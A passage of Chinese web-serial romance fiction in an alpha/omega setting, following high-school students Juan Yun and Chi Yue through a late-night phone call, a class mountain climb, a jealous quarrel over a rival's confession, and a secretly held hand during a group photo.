隽云往后靠,腰抵在大理石洗手台的边缘,手抵在他的胸口上,耳朵逐渐红了:“你要干什么?” “隽云——你们人呢?” 文强终于发现他们不在,于是大发慈悲地放过了陆思华,陆思华把他甩开,然后起身大踏步去卫生间。 刚才匙越说是去洗手,但是这大半天都没有回来,实在太不正常了,更何况,隽云也在厕所。 他们俩在厕所干什么? 越想陆思华的脸色越黑,他转身绕过厕所凸出来的墙角,就正好撞到匙越在擦手,湿漉漉的纸巾被他撞到后轻飘飘落到地面。 “怎么了?”匙越和他擦肩而过,手放在他的肩膀上,心情很好地拍了拍。 “”在门口站定,陆思华往卫生间里面探看了一下,水龙头的水开着,隽云正伸手过去,把水龙头关了。 “怎么了?”陆思华问:“怎么这么久。” 隽云的耳朵和脖颈红着,低着头没有看镜子,他的唇上有一点水光,他说:“没什么。” 没继续打游戏了,在文强的房间里坐了一会儿之后,隽云回到他自己的房间。 洗漱完之后,他擦着头发从浴室里走出来,拿起手机看了看。 班群里的消息很活跃,已经99+了。 原因是因为下午的大合照出来后发群里了,不少人艾特别人来看,还有p朋友图搞怪的。 [ber?我的眼睛这都闭上了。] [我的脸怎么给我拍的这么大啊?] [申请p图师俢图。] [申请加一,看到这张图片我哇的一声直接哭出来。] [感觉都拍的挺丑的哈哈哈哈哈哈,心理一下平衡了。] [胡说,看匙主席和隽云就拍的挺好看的。] 看到这条评论的时候,隽云的手指动动,往上翻到最开始老棠在班级群里发的照片,点开。 一眼看过去都是人头。 长得都大差不差。 甚至因为画质压缩过,整张图都有点糊。 隽云把擦头发的毛巾丢在椅背上,踩着椅子上去,整个人蹲在椅子上面翻照片,放大。 找到他们班的方阵后就开始扫视过去。 完全脸盲,他眯起眼仔细辨认,大概认出来哪些是他们班上的谁谁谁,这个嘴角有个大痣,是武佟,那个头发有点棕黄,是闵术,还有……戴着个眼镜头发梳理一丝不苟的是纪律委员原元 一排排扫过去,看到最后一排时候,这个是陆思华,这个仰着下巴的人是柳元誉,旁边这个 个子很高,眉目俊朗,就算隽云不认识他,也会觉得这个陌生人还挺帅的程度。 看了一会儿,隽云关掉手机丢到床上,然后起身拿起挂在墙壁上的吹风机吹了吹头发。 他穿着棉质睡衣,屋子里开了暖气,他站在桌前有些犹豫地拿起那瓶药,上面“乙霜苯枇”以及使用说明外包装被撕掉了,是自从被上次匙越看到后他撕掉的,免得再被其他人发现。 虽然说是研学,但是三四天没有回去,他担心回家后会被搜身。 到时候就说是糖好了。甜甜的。 隽云端详着瓶子,有些犹豫不决要不要拧开瓶盖,正巧在这时候,他的手机铃声响了,打开一看是匙越电话他按下接听后,电话对面传来失真的声音: “喂?” 隽云稍微踌躇了一会儿,也跟着“喂”了一声。 匙越笑了笑,声音磁性:“怎么学我说话?” 隽云脸上微微发烫:“就只能你说喂吗?” “不啊,”匙越轻笑:“那你叫一下我的名字。” 好幼稚。隽云偏偏不叫,因为这是成年人成熟的标志,他清了清嗓子说: “打电话给我干什么?” 匙越说:“那个男生联系我了。” 隽云一下就明白了他说的哪个男生。 就是那个愿意佩戴他的监控手表的omega。 “他怎么说?”隽云不由自主地捏紧了手机。 隽云的手机对着他的嘴巴说话很近,匙越似乎能听到隽云清浅的呼吸声,他说:“就是发消息问我你愿不愿意把表给他戴,那我就先给你打电话问问。” 他把选择的权利交给隽云。 “看他愿不愿意收钱,”隽云沉默几秒说:“不愿意的话就再找一个。” 他才想起来忘记问匙越了一件事了:“你有和他说过你不喜欢他吗。” 不然不就是利用他的感情?隽云自认为他做不出这种事情。 不会利用那个男生对匙越的喜欢,哄骗那个男生让他替他带上监控手表。 监控手表一旦戴上,就要克制自己的情感波动,不能心率太快,也不能心率过缓,去哪里都行动受限,他父母那边会第一时间收到他的行动踪迹,随时定位到他本人。 所以如果要把监控手表给别人戴,也只能让别人在学校戴戴,一旦放学了,隽云还是得带上监控手表,上家里的车,回家。 仅限于在学校里的自由。 匙越说:“还没有。” 他不是一个那么无私的人,在东城区这种鱼龙混杂的地方混出来名堂的人怎么可能善良,他自认为没有什么仁义道德,从来只会做最大利益化的选择。 好不容易找到一个合适的人,他当然不可能就这么放弃。 大不了私下里和那个omega吃个饭,看个电影,做戏而已,既可以安抚omega的情绪,又能让那个omega继续戴隽云的手表。 对他来说,比把人绑了威胁恐吓要更方便,更有效果。 但是隽云不同意,隽云宁愿他换个人,也不想他这样做。 隽云的声音很冷静:“要么你重新找个人,要么和他说,给他一笔钱,如果他不愿意的话那就算了,手表我就自己戴着。” 知道他的意思,匙越松口答应了:“行吧。” 好半响电话里只能听到他们两人的呼吸声,匙越轻轻开口:“为什么不同意这样做?还要给钱给他。” 一旦隽云同意把表给那个omega戴,那么,那个omega想要的,他会去解决,隽云只用获得自由就可以了。 隽云的语气更冷了:“还是那句话,你对他没意思就不要给他机会。” “好。”匙越说:“你不要生气。” 隽云:“” 他没有生气。 不对。隽云张口,说的飞快:“关你什么事。” 匙越发出一声短促的气音。 隽云的脸有点烧,他起身,汲拉着拖鞋去把灯关了,然后扑到床上,柔软的羽绒被子要将他淹没,黑夜在静谧的空气中缓缓流淌。 手里还拿着手机,匙越听到他关灯的声音,他笑了笑,问他:“要睡觉了吗?” “嗯。”隽云闷在被子里发出一个单音节词。 匙越说:“那还能和你打电话吗?” 打电话 隽云的想法冒泡一样地冒出来,忍不住地胡思乱想, 为什么要和他打电话? 而且还是在要睡觉的时候,这样真的很奇怪。 他们什么关系啊 想着想着,隽云的脑袋就蒙在被子不拔出来了,嗓音很紧:“还有什么事?你想说就说,又没人拦着你。” “怕你挂我电话。” “不会的。”隽云说:“我不会在别人没说完的时候挂断电话。” 这太不礼貌了。 “那确实是。”不知道是不是听错了,隽云居然从匙越的语气里听出了一点感慨。 该不会又要说他是好学生了吧,隽云福至心灵地想。 匙越从胸腔里闷出两声笑,笑得隽云耳朵有点痒,紧接着听到他问:“你吃药了吗?” 隽云翻个身躺在床上,然后他又随手拉过被子盖在了自己上,枕着枕头看着弥漫的一片黑暗,他说:“没有。” 但是现在也没有发病就是了。 “那你还准备吃吗?” “再看吧。” 隽云认为匙越不一定能像上次一样,能再次把他哄睡,不过听着他的声音,感觉安心了很多—— 作者有话说:下一秒就睡着了。 评论区发安睡小红包[捂脸偷看] 第45章 第四十五章 “定情信物。” 躺在柔软的床上, 四周静谧,只有匙越的声音低低从手机里传来,隽云侧着身体睡着在被窝里, 大半张脸都缩在被子下,听到匙越缓缓道来: “你知道吗, 明天安排的行程是爬山。” “知道,老棠不是发班群里了吗?” 隽云和他有一搭没一搭地聊着。 “对。”匙越哑然失笑:“忘记她发群里了我刚刚看了一下天气预报,明天会出太阳, 气温蛮高的, 会很热,爬山要爬一个早上, 所以我建议你可以少穿一点。” “好的。” “穿个不太厚的外套,里面穿个薄一点的长衣,然后运动裤就可以了。” 跟那个什么天气预报员建议穿衣方面一样。 他考虑的还蛮周全的。 隽云眼睛越眨越慢, 声音染上了一抹睡意:“我会考虑的。” 匙越的声音低醇:“今天早上,文强和我说了。” “说什么?”想睡觉了,隽云要睁不开眼睛了。 “你高一的事情。” 隽云的睡意顿时消散了些许。 “其实我有个事情早就想问你了,能问吗?” 隽云哼出一个字:“说。” 匙越问他:“高一那个男生是什么事?” 虽然已经听文强说了个七七八八,他说那是三年来隽云第一次发火, 并且擅自动用隽家的权利把人开了, 但是问起背后的原因,就连文强都说他也不知道。 “能说吗?”匙越问。 匙越的声音在电话里呼吸了一个来回,隽云听到他说:“你可以告诉我。” 隽云睫毛颤了一下:“你想知道吗?” “想。”匙越说。 “那个男生”隽云呼气,稍微把盖住脸的被子掀开一点,白色的雾气哈出,随着热度消散在半空之中,隽云说的很简单: “他成绩很好, 高一的时候,经常在一些活动和赛场上碰到,后来,他就和我表白了。” 匙越那边没说话,隽云有点后悔说这个事,硬着头皮说:“但是我不喜欢他,我拒绝了,让他以后好自为之。” 隽云:“后来没几天,我们再次遇到,他用alpha信息素逼我发情。” 匙越:“然后呢?” 隽云看着头顶的天花板:“没有然后,我逃走了,后来就开始每周给自己打抑制剂,抑制自己发情,免得再出现这种情况。” “我以为你打抑制剂是因为不想发情期被人掣肘。” “也有这部分原因。” omega的发情期比alpha要勤一点,大概是出于繁殖的本能,在十六岁腺体成熟后差不多就会每个月发情一次,之后逐渐次数减少。 虽然十六岁就代表成年了,但是在没有伴侣的情况下,omega发情依旧十分危险,虽然一般来说能靠自己挺过去或者靠抑制剂维持正常人的生活,但omega从生理结构上来说属于弱势群体,也很难完全避免没有人乘人之危。 所以他选择每周都打抑制剂,把自己信息素压制的死死的,别人再怎么拿alpha信息素逼迫他他都不会发情了。 只是代价有点大。 没想到叶馨言也给他下药,于是长达两年打抑制剂封闭发情期的隽云迎来了凶猛的发情热。 他不想被人标记,却被匙越标记了。 或许也是一种逃不掉的命中注定。 “逼迫omega发情是犯罪行为,”匙越眼眸闪过一抹厉色,他问:“后来那个男生呢?他怎么样了?” “不知道。”隽云面无表情说:“我找到校董们召开股东大会,让那个男生退出星耀中学,后来他爸妈带着礼物上门求我放过他,我不同意,他家家业算不上大,我爸妈闲他们哭的烦,让管家把他们赶出去了。” “这样啊。”匙越道。 “对。”隽云冷冷说:“我没打听过他的去向,只是后来听文强说,他们一家人似乎都离开了A市,不知道去哪了,不然” 迟早有一天隽家会交给他,到那时,A市说大不大说小不小,两家再碰上,有先前的事情在,到那时可就不是开除这种小事了,而是两家企业、家族之间的对抗。 隽云眼里闪过一丝凉薄,和他作对,那倒是没有什么好下场。 那个男生和家里人搬走,去到另一个市区发展,和隽家避免交锋,其实是一种相对来说比较聪明的做法。 匙越低低一笑,隽云抬手,手背搭在额头上,盖住眼睛,他枕头边放着手机,在黑夜里幽幽发着蓝光,隽云问他: “你笑什么?” “没什么。”他只是没想到隽云的脾气会这么的正点。 该护人的时候能毫不犹豫地站出来护着他,但是一旦遇到这种事情却也毫不心慈手软,手起刀落地把人退学,将人处理了。 他很欣赏他。 匙越在枕头底下摸了摸,拿出一张帕子,那是之前雨夜隽云来接他,看到他身上都是水的时候丢给他的帕子,是隽云的贴身物品,直到下车匙越都没有还给他,而是自己保存起来了。 他闻了闻,上面淡淡的橄榄香的味道已经快闻不见了。 “你还有帕子吗?” 隽云:“?” 话题突然转到了帕子上,他张了张唇,有些迷茫:“帕子?” “对。”匙越说:“可以再给我一个吗?” 隽云觉得奇怪,说:“你要那个干什么?” 他倒是确实有很多,但是这种一般都属于私人物品,经常会接触到身体,比如擦手或者捂住口鼻挡气味、灰尘用的,很少给别人。 还有一种可能性会问别人要,不过通常是在晚宴上。 那就是当定情信物。 匙越:“没什么,我想带在身边。” 于是顿时,对面人的声音听不到了。 匙越以为他挂了,看了眼手机,显示还在通话中。 匙越耐心地等着,听到隽云的呼吸声有些快了,想看看此刻他的表情,可惜现在看不到,只听到一点翻身的动静,还有被子摩挲的声音,很快,就连呼吸声也听不到了。 匙越反应过来那个被子的声音。 应该是把被子拉高,然后脑袋埋进去了。 匙越笑了笑,故意喊他的名字:“隽云?” “嗯?”朦朦闷闷的声音透过被子传出来,有一种勾人的不自知的可爱。 “你要睡了吗?” “嗯。”隽云应他,道:“对、对啊。” 匙越笑了笑。 两个人都没再说话,渐渐地,他听到了隽云转身的声音,似乎嫌闷,把被子掀开了,呼吸声逐渐平稳悠长,匙越把那方手帕盖在脸上,鼻尖闻着,利齿轻轻叼住料子磨了磨。 他喃喃说:“以后都会打给你。” * 隽云起床的时候看了一眼外面的天色,发现居然已经天蒙蒙亮了,还没完全从睡梦中清醒过来,他呆滞了几秒,怀疑自己还在梦里。 头发睡的乱糟糟翘着几缕头发,手伸到枕头边摸索了一会儿,然后拿起手机看了一眼上面的时间,结果发现还显示在和一个人通话中。 隽云脑子彻底不转了,呆呆地发出一声试探的:“喂?” “喂?”电话里传出另一声声音,也学他喂了一声,然后问他:“醒了?” 他的声音相比他的要沙哑性感许多,似乎也刚醒没多久。 “滴滴滴滴滴——” 隽云的心脏陡然一跳,在监控手表的一声声滴滴警告音中,慌乱地挂断了电话。 “嘟——”一声,手机掉在被子上。 整个房间只能听到手表“滴滴滴——” “” 隽云坐在床上,深呼吸,努力让自己保持平静,等手表不响了,他看着上面显示的通话时间。 八个多小时。 也就是说,他们打了一个晚上的电话 做好思想建设后,他深呼吸一口气,又拨了回去,这次很快就被接通了。 “怎么挂我电话。”匙越的语气听起来很有一种委屈巴巴地控诉。 “我”隽云耳根微微发烫,总不好说是因为手表大早上就响,他就问:“你怎么昨晚没挂掉电话?” “是这样的。”匙越顿了顿,他面不改色地说:“昨天晚上,你打呼噜了,我就拿来当安眠曲了。” “?” 隽云心说他应该不可能打呼噜,但是他就和匙越这样过,从客观角度上来说,匙越这个还算老实的alpha应该不会骗他。 于是他忍了又忍,终于忍不住,小心问:“真的吗?” 匙越闷笑一声:“骗你的,没打呼噜。” “” 骗子。 隽云此刻脑海中闪过一点昨天晚上的画面,他在睡着的时候好像是迷迷糊糊听到有人说,以后都会陪你,不要再吃药了。 虽然这段记忆有待考证,但是隽云的脸上又开始发烫,监控手表还戴在手上,不想一大早监控手表连滴两次,他强行冷着声音,对这个不老实的alpha骗子说: “挂了。” 匙越说:“那,等会儿见。” “”隽云深吸一口气,挂了电话之后,又接了个家里的电话,找了个借口应付过去并拍了视频证明在酒店房间且只有他一个人后,趿拉着拖鞋去了卫生间。 和别人煲一晚上电话粥,实在是有一点奇妙。 隽云在牙刷上挤上牙膏,站在洗漱台前刷牙,只是耳朵通红着,想着想着,他刷牙的力气又加大了一点。 上午要跟着大部队上山爬山。 洗漱完后的隽云回到房间内把窗帘拉开,才早上六点的太阳已经非常刺眼,想着这个天爬山确实会出一身汗,于是吃完饭后他回到房间换了一身相对来说比较清凉的衣服。 到达指定地点集合后,也才七点,各班班长清点完人数后,教练说了些注意事项。 “我们这次是集体爬山,大家一定要跟紧大部队,不能自己一个人擅自行动,一个班分成三队,omega们在前面走,beta在中间,alpha在后面跟上,山山路陡峭,有不舒服的要提前说,路上准备了葡萄糖浆和水,其他零食也能吃,但是垃圾要记得自己带走” 分班从不同的路线爬上去,于是叶馨言没有和他走在一起。 隽云里面穿着一件比较贴身的黑色短袖,外面是白色防晒衫外套,少年身形单薄,但身姿挺拔,手上缠着红色的绷带,只缠到一半手指,像是指套,腿上戴着一个黑色的护膝,大多数omega的体力都没有那么好,如果摔倒了也不至于关节受损。 omega排在最前面爬山,匙越和一众alpha断后,到爬一个坡的时候,他抬头能透过纷繁复杂的枝丫看到隽云在他斜头顶的位置。 隽云穿的裤子是黑色的运动短裤,只到膝盖的位置,短裤的一边左下角有一个红色的logo,腿袜是也红色的,和他的衣服很搭,裤角宽松,能隐约看到一晃而过的白皙大腿肉。 确实是非常运动的一身。匙越收回视线—— 作者有话说:评论区发小红包[撒花] 第46章 第四十六章 “又在看他。”…… 爬了大约一个小时, 领队的不是他们的老师,而是场馆的负责人,虎背熊腰, 说话中气十足。 他以前是当兵的,最看不惯他们这些娇生惯养的少爷, 于是一直催促着让他们都走快点,如果放在战区,他们这个速度敌人早就追上来了。 “我不明白为什么要选这个地方作为游学地点啊?” 文强擦了擦脸上的汗, 他趁老师不注意从beta队列里往后摸到陆思华和柳元誉旁边: “高一高二的时候不都是选动物园, 海边沙滩什么的,白天看看展览了解当地风土人情, 然后晚上在海边烧烤,吃大餐,躺在沙滩上沐浴阳光, 现在怎么高三了把我们拎到这种鬼地方训练啊?” 陆思华是alpha,身体素质相对来说好很多,他相比起文强的大喘气,看起来不怎么累,他很冷淡地说: “可能没钱了。” 文强一边爬山一边走, 累的怀疑人生:“星耀怎么可能会没钱啊?捐款多着呢。” 柳元誉很少运动, 他喘了口气,他抹掉了额头上的汗。星耀中学的投资,除了隽家就属他家最多,他啧了一声,不耐烦地说: “星耀中学还钱。” 花他家的钱还让他这么辛苦地爬山。 前面一个alpha说:“可能想培养我们艰苦奋斗的精神吧?” 匙越微微侧头,瞥了他们一眼:“明天还有。” 学生代表的消息向来是最灵通的,匙越通知他们一个很残酷的消息:“明天凌晨五点开始十公里拉练, 教官会带着我们翻山越岭,还会现场演示发射火箭筒和追击炮,还有坦克,烟雾弹的展示。” “切。”柳元誉扬了扬下巴,十分不屑:“给我们展示这些东西干什么?我以后又不从军。” 陆思华:“你可以给军方多投资点钱。” 柳文誉嫌弃地“嘁”了一声,说:“再看吧。” 文强哀嚎了一声:“凌晨五点啊?那有什么好玩的,本少爷要睡觉。” 他又嚎:“高一的时候又不训,还带我们去看海,现在这么苦是什么意思!?” 匙越说:“也只是走个流程,不是训练。” “演示完后有自由游击野战活动。” 什么!?游击战! 文强眼睛顿时放光芒,非常激动地说:“真的假的?” 文强的手伸出,手臂笔直地朝前,指头动动随后“邦邦”两声,他冷酷地吹了吹指头上不存在的冒烟: “你说的,就是这种游击战?” 蛮有意思的,没想到隽云身边还有这种活宝。 匙越上下打量文强,不过文强这种人性格太过活跃,不会是隽云喜欢的类型。 他移开视线:“我建议你大学的时候可以去学表演。” “嗤。”柳元誉勾唇笑了笑,陆思华没有什么表情。 文强没有被打倒,他拍了拍匙越的肩膀:“好兄弟,今晚来我房间,我们继续切磋切磋枪法。” 枪法? 匙越瞥了眼他肩膀上的手,拂开,说了句:“我对beta没兴趣。” 文强脑袋没转过弯来:“ber?哥们?” 陆思华偏过脸去,而柳元誉脚程比较快,扭头,同情地居高临下看了眼文强: “可怜的beta,被玩弄于股掌之间。” 文强反应过来他们在说什么,笑骂了一声,也跟着爬上了坡。 “诶,说真的,那匙越你喜欢omega还是alpha,我给你介绍介绍?你强哥手里资源多的很。”文强挤眉弄眼地推推他的肩膀。 匙越说:“不劳费心。” 文强挥挥手:“害,都是兄弟,你们一个二个的高中都快毕业了,居然还没谈过恋爱!我都替你们着急。” 柳元誉:“说得好像你谈过一样。” 文强在匙越旁边,往后一指陆思华:“这人性冷淡。” 又指了指柳元誉:“那人谁都瞧不上。” 说的都还挺客观的。随后,匙越就听到文强说:“所以,兄弟,我只看好你。” 匙越眉峰一挑,他一脚踩碎一个小小的土包,抬头看着密密的树林,随口应付他: “为什么看好我?” 文强给他掰手指说:“你看你,长得帅,又高,出身寒门还自命不凡,妥妥的就是小说里的天龙人啊,乖儿子,听爹的话,爹你再给你安排一个温柔听话的omega,保证你的人生就跟开挂了一样,有贵人相助,从此你就平步青云了啊!” 文强说的其实很有道理,毕竟在能在星耀中读书的学生大多非富即贵,随便傍上一个都够社会招考考生躺平一辈子了。 匙越:“不用,我有最好的那颗星星了。” “况且”匙越眯了眯眼:“我要是真喜欢一个人,我不需要他助我,我要自己走到他面前。” 等到爬到山顶后,许多学生都又累又渴,山顶设有帐篷,里面有好几箱水,还有零食、烤肠,帐篷里班委们在给大家发水喝。 隽云在一棵树下休息,他没那么渴,就是累,额头上满头是汗,爬了四五个小时,他没什么精力再像文强一样到处跑来跑去地拍照。 他闭着眼在树底下坐着,此刻也顾不上脏不脏了,腿曲着,大半个身体倚靠着树,调整呼吸,直到感觉脸颊一冰,他眉心动动,想也不想地就猜到那人是谁: “我说你能不能” 然而等他随之睁眼的时候,他发现是陆思华。 陆思华凝视着他:“是我。” 隽云顿时没声了,他一声不吭地接过水,拧开盖子小口喝起来,目光飘走。 “你以为是谁?” “没谁。” 匙越在大红顶帐篷底下帮忙发水。 “你在看他。”陆思华的声音在耳边响起。 “”隽云的目光立马移开了。 他看着帐篷底下的生活委员范哲佳,她正大着嗓门招呼已经拿了水的人让位置给没拿到水的。 他没说话,陆思华看着他:“我一直认为,我们是一类人。” 隽云抿了抿唇,捏着冰凉的水瓶:“怎么说?” “我一直觉得,和文强相比,你和我的关系更好一点。”陆思华淡淡说:“因为我们的家庭都差不多。” 隽云没听明白:“你到底想说什么?” “你爸爸和你妈妈没什么感情结的婚,我爸妈也差不多,我爸爸喜欢别的女人,她的名字里有个华,就给我取了这个名字,我从小就知道。”陆思华垂眼。 隽云的表情略微错愕,说实话,他并不知道。 “所以我第一次看到你的时候,直觉告诉我,我和你是一类人。”陆思华说:“看起来对什么都不关心,对什么都提不起兴趣,什么都可以,什么都不会拒绝,不会反抗因为什么都不由我们来做决定。” “我们就是一颗棋子,一个举手投足都要完美、要让家里人满意的机器人。” “我哥哥被安排订婚,你也是,被家里人安排订婚,我知道你不喜欢叶馨言,但是没有办法。”他停顿了一下: “追求自由的代价太大,我们要放弃一切,金钱、地位、权利” “隽云,”他似乎在提醒隽云:“你真的准备好了吗?” 隽云:“我不知道你在说什么。” 陆思华叹了口气:“我也希望你听不明白。” 但是他从小和隽云一起长大,他知道隽云很聪明,他不会不明白。 所以,在隽云略微错愕的表情里,他对隽云说:“打乱秩序的代价太大,如果你想跳脱秩序,与其考虑一个根本不可能的人,你不如考虑一下我,那样你要牺牲的代价更小一点。” 毕竟,陆家家世和隽家相比也不差到哪里去,如果论起家世地位、门当户对,叶家都不是最好的选择,他才是。 可惜当初隽家更想要检察院的选票,所以选了叶馨言。 这也是他的遗憾。 其他班的学生们陆陆续续都爬了上来,仅仅支着的几个帐篷里的人一下子人满为患了起来,不少人都选择的坐在树荫底下乘凉。 人多起来了,正巧手里的水瓶也喝空了,隽云起身,走到几米外把水瓶丢到集中垃圾袋里,这时后面突然响起一个声音,像一只突然飘出的男鬼,冷不丁出现在他的身后,阴冷道: “你刚刚和他说了什么?”?!! 隽云差点被吓到,他转头看过去,匙越穿着一件黑色的大衣,里面是宽敞领口的灰衣,裤子是宽松的牛仔裤。 很普通的样式,但是他身高腿长,这身衣服穿在他身上显得像t台模特般随性,阳光落在他的脸上,显得既深沉,又少年感十足,隽云不由得在他身上多停留了一会儿。 匙越以为他在发呆,眸色漆黑,在阳光下没什么温度地看着他,又问了他一遍: “你刚才和他待了很久,你们聊了什么?我想知道。” 隽云觉得他看起来很奇怪,他的眼睛里没有一丝笑意。 刚才陆思华说的话再次响在耳边:“不如考虑一下我?” 想到这句话,隽云的表情突然就不自然地僵住了。 确实,有一件事他也是刚刚才知道。 那边陆思华站在树荫底下朝他走了一步,见隽云转过来看他,他就站在原地不动,等他过去。 隽云没有想到从小一起长大的陆思华是对他抱有别样的感情。 而且,为什么要选择在今天告诉他这件事? 匙越顺着他的视线看过去,看到是陆思华的时候表情变了: “又在看他” 额角青筋跳跳,每个字都像是从齿间一个字一个字挤出来的: “不用管我的死活了?”—— 作者有话说:卷云被左右夹击。 修罗场了,陆思华助攻一下 评论区发小红包[求你了] 第47章 第四十七章 “十指相扣。” 隽云愕然。 这句话把他俩之间那层朦朦胧胧的遮羞布掀开了一角, 里面汹涌彭拜的东西像热腾腾灼热的气体一样扑在脸上,让他整个人都热了起来。 “你” 隽云整张脸猛地涨红了。 匙越盯着他,语气却很恶劣, 恶狠狠地说:“你们说了什么?不能告诉我吗?” 隽云很想告诉他。 但是这涉及到陆思华的隐私吧?怎么告诉? 而且他又并没有和谁有什么不正当的关系,他和谁都没有在一起, 为什么要事无巨细向他报告? 更何况匙越的语气还这么恶劣。 “不太方便。”隽云垂眼:“不好意思。” 匙越以前是很喜欢他的礼貌的,此刻却觉得非常刺耳,为什么不太方便? 还不好意思? 他是用什么身份和他道歉?就好像陆思华是他什么人一样, 他们两个人之间有秘密, 他才是第三个人,他的手攥紧了, 又松开,放松似地张了张手指。 他想一拳砸在树上,最终还是怕吓到他, 只是冷冷笑了一声,深呼吸,什么都没说,转身扬长而去。 留隽云在原地看着他的背影,后知后觉有些失落。 为什么事情变成这样了? 休息了一会儿, 不少人在山顶拍照, 没多久老师拿着喇叭在喊集合。 隽云看到有两个人从旁边的树林里钻出来,走在前面的是一个双马尾女生,她捂着耳朵行色匆匆地闷头往前走,很烦的样子。 她穿着普通严实的红白运动服,脚上是平底小白鞋,露出来的脚踝上有伤口,歪歪扭扭贴了一个创可贴, 一半已经掉下来了,她没有停下来粘紧或者撕掉。 在她后面追着的人是柳元誉,因为女生不想搭理他,他脸上的表情非常气急败坏,零星能听到: “我又不是故意要捉弄你的,你凭什么不听我说话” 隽云第一次看到柳元誉这么气急败坏的模样,他向来是非常傲慢的。 隽云注视他们远去,心想原来她就是他喜欢的那个人吗? 没想到还能见到柳元誉这一面。 喜欢一个人,就会把自己变的不像自己了吗? 山顶又起风了,树叶吹的梭梭作响。 “咔嚓。”旁边有一声照相机响起。 隽云转身去看,发现是文强,他的脖子上挂着一个黑色的绳子,手上提着一台价值几百万元的相机在拍他们。 和他刚才想的一样,要是能记录下柳元誉现在的样子就好了。 隽云伸出手:“给我看看。” 文强笑嘻嘻地把相机绳子从脖子上取下来,然后递给他,隽云按住回放按键,发现文强把他也拍了进去。 他的背影孤独,几米外是走过的女生,身后跟着一个喋喋不休的男人。 光是看这张相片,故事感都拉满了,不知道的还以为他暗恋其中任何一个。 “你很有写八卦新闻的潜质。” 文强哈哈大笑:“你也觉得我很适合?陆思华也这么说,他让我毕业后一定要继承家业。” “来,给你看看我刚才拍的你和陆思华。” 再按了一次返回键,于是照片上出现了他和陆思华在树下的场景,隽云面庞白皙神情有些惊讶,而陆思华站在他面前,低着头在和他说话。 “看我拍的多好啊,刚才我问匙越拍的好不好,他还不理我。” “你还给匙越看了?”隽云突然说。 “吓死了你。”文强拍了拍胸口,他说:“看了啊,你反应那么大干什么?” “” 他好像知道为什么匙越会这么生气了。 隽云问:“还有拍别的照片吗?” “还有啊。”文强说。 于是隽云拿着相机按了按返回键查看相册,结果发现后面清一色的全是文强的个人自拍照。 “” “好看吗?我让别人给我拍的。”文强美滋滋道:“怎么样?是不是堪比写真?本少爷的魅力可不是吹” 话还没说完,相机已经塞到了他的怀里,文强抱住他的相机,疑惑地扬声道:“隽云你去哪啊?” 隽云说:“去找人。” 绕了山顶一圈,但是人没找到,不知道匙越去哪了。 老师又在催促集合了,于是隽云只能袖手作罢,又是一个集体大合照,这回不限制班级了,五个班的学生挤挤挨挨乱哄哄地站在一起,难得一起出来玩,大家都很激动。 隽云是omega,他的身高没那么高,前面有很多高个的beta和alpha挤来挤去,挡住他了。 按理来说,隽家作为星耀中学的第一大股东,任何合照,任何座次排序隽家都是排第一个的。 但是现在出了学校,大家似乎都有点玩疯了,在这闹哄哄老师都难以控制的场面下,叶馨言在第一排喊隽云的名字,隽云后退一步,于此同时,一双有力的手把他拉了过去。 顿时没那么挤了,就连空气都清新了。 那人拽着他的胳膊,把他拎到侧面的位置,强有力的手臂铁钳一样地拽着他,他顺着这道力气踉踉跄跄地过去。 隽云差点摔倒,不过那人并没有停下,径直把他拎到他身边了,才松开他,然后没有说一句话。 隽云抬头,就看到了匙越。 “谢谢。” “不客气。”匙越没看他。 “你你是不是在生气啊?”站定后,隽云努力让自己目视前方,不看身侧人,耳朵有点红。 “没有。”匙越的语气很淡。 但是隽云听声音都听出来了,他真的在生气。 “为什么?”隽云的声音很紧,干巴巴地:“你可以和我说。” “不太方便。”匙越说。 “” 匙越:“我今天已经和那个omega商量好了,他同意你把监控手表交给他戴。” 隽云只得硬着头皮顺着他说:“条件是什么?” “给他一千万。” “可以。”对他来说不算多,所以隽云一口答应了。 匙越说:“等会儿拍完照就会来找你了,你以后想去哪就能去哪,他会留在学校里替你完成监控。” 匙越面无表情:“放学之后他就会来找你还手表。” “噢”没想到监控手表的事情最终是匙越帮他解决的。 隽云说:“谢谢你。” “不客气。”匙越又说。 两个人沉默下来,前面闹哄哄的人似乎也都排好站位了,逐渐安静下来,隽云刚组织好的措辞又不太好说了,他垂下眼眸,站在匙越的旁边等待拍照。 他觉得匙越应该还是在生气,陆思华对他的话应该算是告白,他要告诉匙越,陆思华对他表白了吗? “来,同学们看我这里——”摄像机老师举手示意。 隽云看过去,就在这时,他的手被人碰了碰,从拇指到手心,被人抓住了。!!!? “滴——”监控手表发出一声滴响。 在前面几排的掩映下,隽云站在最右边的位置,一只手垂在身侧,另一只手被匙越握着,勾着手心牵着。 怎么突然偷偷牵他。 “好,别动,别动——保持这个姿势——” 隽云的手心潮湿,心里飘下一片羽毛,难得平静的湖面再次因为这根羽毛泛起涟漪。 好在监控手表没有再响了,但是他不敢转头去看匙越的表情了。 “3——2——1——” 摄像机老师按下快门键,随着一个闪亮的白光闪现,许多人顿时闭上了眼,安静的氛围又闹哄哄起来: “好闪啊。” “哇去,我的眼睛差点被闪瞎了。” “我也是” “这种长枪大炮都能抗上山啊?” “刚才没拍到我闭眼的照片吧?” 两只手在人群里隐秘地交织在一起,起初还是虚虚握着的,而后匙越的手指强硬地插入他的指间。 匙越的指间带着老茧,手指粗糙,握的很紧,隽云疼的脸一下就皱起来了,手指松松软软没力气,被匙越捏了捏掌心。 “疼吗?” “疼。” 隽云的头皮有点发麻,他和匙越从来没有这么牵过手,这次还是第一次,从指尖到掌心都被他全数把玩,握在手里。 这个人真的在生气。 “不要再和陆思华单独相处。”带着警告的语气。 不知道是不是隽云的错觉,他觉得匙越的话语间带着狠辣的戾气,都不像他平常时候的样子了,但是一瞬间他又恢复了正常,随着前面人群逐渐散开,抓着他的手晃了晃,随即才松开。 眼尾垂下来,丝毫没有刚才强硬的样子了:“可以吗?” “” 这个人是怎么突然变得这么可怜的。 就在这时,有人隔着老远叫他。 “隽云!!!!!” 散场后叶馨言隔的老远终于发现了他,朝他挥手。 想起来还有一个叶馨言,匙越低声下气地补了一句:“还有叶馨言。” “” 在这点名呢!? 隽云看着他的表情,偏偏又是一副十分委屈的样子,真的很像一只小狗在摇尾巴祈怜。 这么委屈? 隽云都想摸摸他的脑袋了。 但是在叶馨言的视线中他不好对他做出什么举动,抬起来的手又放下。 最终也只能脸上漫上热意,低低地“嗯”了一声,权作答应他了。 匙越没想到隽云会真的答应他,他反倒一愣,眼皮一抬,直直地看着对方。 “咔擦——” 匙越和隽云双双转头去看响声来源,黑沉的相机对着他们,文强的脑袋从相机后面露出来: “surprise!!!” 文强走过来:“拍到你们了!” 